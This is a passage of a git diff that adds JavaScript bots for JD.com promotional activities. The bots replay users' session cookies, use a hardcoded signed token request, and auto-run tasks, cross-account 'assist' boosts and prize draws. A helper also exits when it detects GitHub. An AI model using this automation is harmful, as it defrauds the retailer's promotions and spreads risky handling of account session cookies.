i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/backUp/jd_esManager.js b/backUp/jd_esManager.js new file mode 100644 index 0000000..5896088 --- /dev/null +++ b/backUp/jd_esManager.js @@ -0,0 +1,411 @@ +const $ = new Env('东东电竞经理'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let Authorization = ``; +$.inviteList = []; +$.authorizationInfo = {}; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await esManager(); + } + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if (!$.authorizationInfo[$.UserName]) { + continue; + } + $.canHelp = true; + Authorization = $.authorizationInfo[$.UserName] + for (let j = 0; j < $.inviteList.length && $.canHelp; j++) { + $.oneInviteInfo = $.inviteList[j]; + if ($.oneInviteInfo.needTime === 0 || $.oneInviteInfo.user === $.UserName) { + continue; + } + console.log(`${$.UserName}去助力${$.oneInviteInfo.user},助力码:${$.oneInviteInfo.token},用户:${$.oneInviteInfo.openid}`) + await takePostRequest('do_assist_task'); + await $.wait(2000); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function esManager() { + try { + $.token = ''; + Authorization = ''; + $.userInfo = {};//用户信息 + $.produceStatusInfo = {};//电量信息 + $.taskList = [];//任务列表 + await getToken(); + await $.wait(1000); + if (!$.token) { + console.log(`获取Token失败`); + return; + } + await takePostRequest('Authorization'); + if (!Authorization) { + console.log(`获取Authorization失败`); + return; + } + // console.log(Authorization); + await $.wait(1000); + await takeGetRequest('user'); + await $.wait(1000); + if (JSON.stringify($.userInfo) === '{}') { + console.log('获取活动信息异常'); + return; + } else { + $.authorizationInfo[$.UserName] = Authorization; + console.log('获取活动信息成功'); + } + + await takeGetRequest('produce_status'); + //console.log(JSON.stringify($.produceStatusInfo)); + console.log(`发电机电力${$.produceStatusInfo.coins}`); + if (JSON.stringify($.produceStatusInfo) !== '{}' && Number($.produceStatusInfo.coins) > 10) { + console.log('收取发电机电量'); + await $.wait(2000); + await takePostRequest('get_produce_coins'); + } + await $.wait(1000); + await takeGetRequest('task'); + if ($.taskList.length > 0) { + await daTask(); + } + await $.wait(1000); + } catch (e) { + $.logErr(e) + } +} + +async function daTask() { + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.status !== '1') { + if ($.oneTask.status === '2') { + console.log(`任务,${$.oneTask.task_name},已完成`) + } + continue; + } + if ($.oneTask.task_type === '6') { + console.log(`助力码:${$.oneTask.assist_task_detail_vo.task_token}`); + let oneInfo = { + 'user': $.UserName, + 'openid': $.userInfo.openid, + 'token': $.oneTask.assist_task_detail_vo.task_token, + 'needTime': Number($.oneTask.max_times) - Number($.oneTask.times), + }; + $.inviteList.push(oneInfo); + } else if ($.oneTask.task_type === '13') { + console.log(`去做任务,${$.oneTask.task_name}`) + $.onetToken = $.oneTask.simple_record_info_vo; + await takePostRequest('do_task'); + } else if ( + $.oneTask.task_type === '5' || + $.oneTask.task_type === '3' || + $.oneTask.task_type === '2' || + $.oneTask.task_type === '26' || + $.oneTask.task_type === '1' + ) { + $.tokenList = $.oneTask.browse_shop_vo || $.oneTask.shopping_activity_vos || $.oneTask.product_info_vos || $.oneTask.follow_shop_vo; + for (let j = 0; j < $.tokenList.length; j++) { + $.onetToken = $.tokenList[j]; + if ($.onetToken.status !== '1') { + continue; + } + console.log(`去做任务,${$.oneTask.task_name},${$.onetToken.shop_name || $.onetToken.title || $.onetToken.sku_name}`); + await takePostRequest('do_task'); + await $.wait(3000); + } + } + } +} + +async function takePostRequest(type) { + let url = ``; + let body = ``; + let myRequest = ``; + switch (type) { + case 'get_produce_coins': + url = `https://xinruidddj-isv.isvjcloud.com/api/club/get_produce_coins`; + myRequest = getGetRequest(url, body); + break; + case 'do_task': + url = `https://xinruidddj-isv.isvjcloud.com/api/task/do_task`; + body = `token=${$.onetToken.task_token}&task_id=${$.oneTask.task_id}&task_type=${$.oneTask.task_type}` + myRequest = getPostRequest(url, body); + break; + case 'Authorization': + url = `https://xinruidddj-isv.isvjcloud.com/api/user/jd/auth`; + body = `token=${$.token}` + myRequest = getPostRequest(url, body); + break; + case 'do_assist_task': + url = `https://xinruidddj-isv.isvjcloud.com/api/task/do_assist_task`; + body = `token=${$.oneInviteInfo.token}&inviter=${$.oneInviteInfo.openid}` + myRequest = getPostRequest(url, body); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getToken() { + const url = `https://api.m.jd.com/client.action?functionId=isvObfuscator`; + const method = `POST`; + const headers = { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + 'Cookie': $.cookie, + UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + let body = `body=%7B%22url%22%3A%20%22https%3A//xinruidddj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=1d94feefe44e4ebcba2192421189a52a&client=apple&clientVersion=9.4.0&st=1623830118000&sv=102&sign=9bd23a7b74b59d88d751e21f19455db7`; + let myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.code === '0') { + $.token = data.token; + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) + +} + +function dealReturn(type, data) { + data = JSON.parse(data); + switch (type) { + case 'Authorization': + if (data.status === '0') { + Authorization = data.body.access_token; + } else { + console.log(`异常:${JSON.stringify(data)}\n`); + } + break; + case 'user': + if (data.status === '0') { + $.userInfo = data.body; + } else { + console.log(`获取信息异常:${JSON.stringify(data)}\n`); + } + break; + case 'produce_status': + if (data.status === '0') { + $.produceStatusInfo = data.body; + } else { + console.log(`异常:${JSON.stringify(data)}\n`); + } + break; + case 'get_produce_coins': + if (data.status === '0') { + console.log(`收取成功获得:${data.body.coins}`); + } else { + console.log(`收取异常:${JSON.stringify(data)}\n`); + } + break; + case 'task': + if (data.status === '0') { + $.taskList = data.body.task_vos; + } else { + console.log(`异常:${JSON.stringify(data)}\n`); + } + break; + case 'do_task': + if (data.status === '0') { + console.log(`任务完成,获得:${data.body.result.score || 0}`); + } else { + console.log(`异常:${JSON.stringify(data)}\n`); + } + break; + case 'do_assist_task': + if (data.status === '0') { + console.log(`助力成功`); + $.oneInviteInfo.needTime -= 1; + } else if (data.status === '108') { + console.log(JSON.stringify(data)); + console.log(`助力次数已用完`); + $.canHelp = false; + } else if (data.status === '108') { + console.log(JSON.stringify(data)); + console.log(`助力已满`); + $.oneInviteInfo.needTime = 0; + } else { + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +async function takeGetRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'user': + url = `https://xinruidddj-isv.isvjcloud.com/api/uc/user`; + myRequest = getGetRequest(url); + break; + case 'produce_status': + url = `https://xinruidddj-isv.isvjcloud.com/api/club/produce_status`; + myRequest = getGetRequest(url); + break; + case 'task': + url = `https://xinruidddj-isv.isvjcloud.com/api/task/detail`; + myRequest = getGetRequest(url); + break; + case 'Authorization': + url = `https://xinruidddj-isv.isvjcloud.com/api/task/detail`; + myRequest = getGetRequest(url); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPostRequest(url, body) { + const method = `POST`; + const headers = { + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Content-Type': `application/x-www-form-urlencoded`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `xinruidddj-isv.isvjcloud.com`, + UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Authorization': Authorization, + 'Referer': `https://xinruidddj-isv.isvjcloud.com/exception/`, + 'Accept-Language': `zh-cn` + }; + return {url: url, method: method, headers: headers, body: body}; +} + +function getGetRequest(url) { + const method = `GET`; + const headers = { + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Content-Type': `application/x-www-form-urlencoded`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `xinruidddj-isv.isvjcloud.com`, + UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Authorization': Authorization, + 'Referer': `https://xinruidddj-isv.isvjcloud.com/exception/`, + 'Accept-Language': `zh-cn` + }; + return {url: url, method: method, headers: headers}; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_fan.js b/backUp/jd_fan.js new file mode 100644 index 0000000..5f5203c --- /dev/null +++ b/backUp/jd_fan.js @@ -0,0 +1,580 @@ +/** +粉丝互动,尽量自己设置定时,在0点和1点抽奖,白天基本没水 +修改温某的脚本,由于温某不干活,只能自己动手修改了 +注意:脚本会加购,脚本会加购,脚本会加购 +若发现脚本里没有的粉丝互动活动。欢迎反馈给我 +cron 34 5,18 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_fan.js +* */ +const $ = new Env('粉丝互动'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +const activityList = [ + {"actid": "e49fe34c09e3447083992f4867588dd9", "endTime": 1633190398000}, + {"actid": "5bb3f94bdbca4165ae2af0d85c8e66b2", "endTime": 1632931199000}, + {"actid": "5dbc609b32bd4edf981a844079a467a9", "endTime": 1632931200000}, + {"actid": "de0f54a0769a45e0a369f8c6de9a0192", "endTime": 1633622361000}, + {"actid": "c475acc1f3214c038881abeff5cd6442", "endTime": 1633795200000} +]; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + await getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.oldcookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.hotFlag = false; + for (let j = 0; j < activityList.length && !$.hotFlag; j++) { + $.activityInfo = activityList[j]; + $.activityID = $.activityInfo.actid; + console.log(`互动ID:${JSON.stringify($.activityInfo)}`); + console.log(`活动地址:https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}`); + if($.activityInfo.endTime && Date.now() > $.activityInfo.endTime){ + console.log(`活动已结束\n`); + continue; + } + await main(); + await $.wait(1000); + console.log('\n') + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function main() { + $.token = ``; + await getToken(); + if($.token === ``){ + console.log(`获取token失败`);return; + } + console.log(`token:${$.token}`); + await $.wait(1000); + await getActCk(); + $.shopId = ``; + await takePostRequest('getSimpleActInfoVo'); + if($.shopid === ``){ + console.log(`获取shopid失败`);return; + } + console.log(`shopid:${$.shopid}`) + await $.wait(1000); + $.pin = ''; + await takePostRequest('getMyPing'); + if($.pin === ``){ + $.hotFlag = true; + console.log(`获取pin失败,该账号可能是黑号`);return; + } + $.cookie=$.cookie + `AUTH_C_USER=${$.pin}`; + await $.wait(1000); + await accessLogWithAD(); + $.cookie=$.cookie + `AUTH_C_USER=${$.pin}`; + await $.wait(1000); + $.activityData = {}; + $.actinfo = '';$.actorInfo='';$.nowUseValue = 0; + await takePostRequest('activityContent'); + if(JSON.stringify($.activityData) === `{}`){ + console.log(`获取活动详情失败`);return; + } + let date = new Date($.activityData.actInfo.endTime) + let endtime = date.getFullYear() + "-" + (date.getMonth() < 10 ? '0' + (date.getMonth() + 1) : (date.getMonth() + 1)) + "-" + (date.getDate() < 10 ? '0' + date.getDate() : date.getDate()) + console.log(`${$.actinfo.actName},${$.actinfo.shopName},当前积分:${$.nowUseValue},结束时间:${endtime},${$.activityData.actInfo.endTime}`); + let gitList = []; + let gitTypeList = ['One','Two','Three']; + for (let i = 0; i < gitTypeList.length; i++) { + let gitInfo = $.activityData.actInfo['giftLevel'+ gitTypeList[i]] || ''; + if(gitInfo){ + gitInfo = JSON.parse(gitInfo); + gitList.push(gitInfo[0].name); + } + } + console.log(`奖品列表:` + gitList.toString()); + if($.actorInfo.prizeOneStatus && $.actorInfo.prizeTwoStatus && $.actorInfo.prizeThreeStatus){ + console.log(`已抽过所有奖品`);return; + } + await $.wait(1000); + $.memberInfo = {}; + await takePostRequest('getActMemberInfo'); + if($.memberInfo.actMemberStatus === 1 && !$.memberInfo.openCard){ + console.log(`\n====================该活动需要入会,如需执行,请先手动入会====================`);return ; + } + await $.wait(1000); + $.upFlag = false; + await doTask(); + await luckDraw();//抽奖 +} + +async function luckDraw(){ + if($.upFlag){ + await takePostRequest('activityContent'); + await $.wait(1000); + } + let nowUseValue = Number($.activityData.actorInfo.fansLoveValue) + Number($.activityData.actorInfo.energyValue) ; + if (nowUseValue >= $.activityData.actConfig.prizeScoreOne && $.activityData.actorInfo.prizeOneStatus === false) { + console.log(`开始第一次抽奖`); + $.drawType = '01'; + await takePostRequest('startDraw'); + await $.wait(1000); + } + if (nowUseValue >= $.activityData.actConfig.prizeScoreTwo && $.activityData.actorInfo.prizeTwoStatus === false) { + console.log(`开始第二次抽奖`); + $.drawType = '02'; + await takePostRequest('startDraw'); + await $.wait(1000); + } + if (nowUseValue >= $.activityData.actConfig.prizeScoreThree && $.activityData.actorInfo.prizeThreeStatus === false) { + console.log(`开始第三次抽奖`); + $.drawType = '03'; + await takePostRequest('startDraw'); + await $.wait(1000); + } +} +async function doTask(){ + $.runFalag = true; + if($.activityData.actorInfo && !$.activityData.actorInfo.follow){ + console.log(`关注店铺`); + await takePostRequest('followShop'); + await $.wait(2000); + $.upFlag = true; + }else{ + console.log('已关注') + } + if ($.activityData.task1Sign && $.activityData.task1Sign.finishedCount === 0 && $.runFalag) { + console.log(`执行每日签到`); + await takePostRequest('doSign'); + await $.wait(2000); + $.upFlag = true; + }else{ + console.log(`已签到`) + } + let needFinishNumber = 0; + //浏览货品任务 + if ($.activityData.task2BrowGoods && $.runFalag) { + if($.activityData.task2BrowGoods.finishedCount !== $.activityData.task2BrowGoods.upLimit){ + needFinishNumber = Number($.activityData.task2BrowGoods.upLimit) - Number($.activityData.task2BrowGoods.finishedCount); + console.log(`开始做浏览商品任务`); + $.upFlag = true; + for (let i = 0; i < $.activityData.task2BrowGoods.taskGoodList.length && needFinishNumber > 0 && $.runFalag; i++) { 